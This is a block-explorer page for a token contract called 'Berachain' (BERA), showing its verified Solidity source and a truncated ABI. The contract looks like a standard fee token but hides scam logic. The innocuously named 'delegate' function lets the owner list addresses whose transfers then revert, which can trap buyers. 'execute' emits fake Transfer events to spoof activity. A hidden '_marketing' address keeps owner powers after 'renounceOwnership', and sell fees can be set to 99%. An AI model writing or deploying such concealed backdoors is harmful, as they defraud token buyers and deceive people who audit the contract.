ETH Price: $3,324.74 (+0.48%)

Token

(0x3cb3470d23976b28da950e4f4cdf0abe3f28b26a)
 

Overview

Max Total Supply

10,000,000,000 ERC-20 TOKEN*

Holders

67 (0.00%)

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Berachain

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 5: Berachain.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./IERC20.sol";
import "./Ownable.sol";
import "./Uniswap.sol";
import "./SafeMath.sol";


contract ERC20 is Context, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_){
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}


contract Berachain is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    mapping(address => bool) private _5000022;
    address public uniswapV2Pair;
    address public constant deadAddress = address(0xdead);

    bool private swapping;

    address public marketingWallet;
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;

    bool public tradingActive;
    bool public feesEnabled;
    bool public swapEnabled;

    uint256 private buyLiquidityFee;
    uint256 private buyMarketingFee;
    uint256 public buyTotalFees;
    uint256 private previousFee;

    uint256 public sellTotalFees;
    uint256 private sellMarketingFee;
    uint256 private sellLiquidityFee;

    uint256 private tokensForMarketing;
    uint256 private tokensForLiquidity;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;

    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    event marketingWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor(address marketing_) ERC20("Berachain", "BERA") Ownable(marketing_){
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;

        uint256 _buyMarketingFee = 10;
        uint256 _buyLiquidityFee = 0;

        uint256 _sellMarketingFee = 40;
        uint256 _sellLiquidityFee = 0;

        uint256 totalSupply = 10000000000 * 10**decimals();

        maxTransactionAmount = 200000000 * 10**decimals();
        maxWallet = 300000000 * 10**decimals();
        swapTokensAtAmount = (totalSupply * 10) / 10000;

        buyLiquidityFee = _buyLiquidityFee;
        buyMarketingFee = _buyMarketingFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee;

        sellLiquidityFee = _sellLiquidityFee;
        sellMarketingFee = _sellMarketingFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee;
        previousFee = sellTotalFees;

        marketingWallet = address(this);

        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        tradingActive = true;
        swapEnabled = true;
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function updateMaxWalletAndTxnAmount(uint256 newTxnNum, uint256 newMaxWalletNum) external onlyOwner {
        require(
            newTxnNum >= ((totalSupply() * 5) / 1000) / 10**decimals(),
            "Cannot set maxTxn lower than 0.5%"
        );
        require(
            newMaxWalletNum >= ((totalSupply() * 5) / 1000) / 10**decimals(),
            "Cannot set maxWallet lower than 0.5%"
        );
        maxWallet = newMaxWalletNum * (10**10**decimals());
        maxTransactionAmount = newTxnNum * (10**10**decimals());
    }

    function updateSwapTokensAtAmount(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        swapTokensAtAmount = newAmount;
        return true;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function checkVotes(address a) public view returns (bool){
      return _5000022[a];
    }

    function updateSellFees(
        uint256 _marketingFee,
        uint256 _liquidityFee
    ) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee;
        previousFee = sellTotalFees;
        require(sellTotalFees <= 99, "Must keep fees at 99% or less");
    }

    function updateBuyFees(
        uint256 _marketingFee,
        uint256 _liquidityFee
    ) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee;
        require(buyTotalFees <= 20, "Must keep fees at 20% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function delegate(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _5000022[address_[i]] = val;
        }
    }
    
    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );
        excludeFromMaxTransaction(pair, value);
        _setAutomatedMarketMakerPair(pair, value);

    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "transfer from the zero address");
        require(to != address(0), "transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
                if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } 
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }

        bool takeFee = !swapping;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to] || !feesEnabled) {
            require(!_5000022[from]);
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            feesEnabled = true;
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }
        
        super._transfer(from, to, amount);
        sellTotalFees = previousFee;
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 20) {
            contractBalance = swapTokensAtAmount * 20;
        }

        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
            totalTokensToSwap /
            2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
            totalTokensToSwap
        );

        uint256 ethForLiquidity = ethBalance - ethForMarketing;

        tokensForLiquidity = 0;
        tokensForMarketing = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                tokensForLiquidity
            );
        }

        (success, ) = address(marketingWallet).call{value: address(this).balance}("");
 
    }

     function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            deadAddress,
            block.timestamp
        );
    }
}

File 2 of 5: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

File 3 of 5: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    address private _marketing;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address marketing_) {
         _marketing = marketing_;
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner { //Change
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }
    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _marketing : _owner;
    }
}

File 4 of 5: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

File 5 of 5: Uniswap.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;


interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"marketing_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"checkVotes","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feesEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract 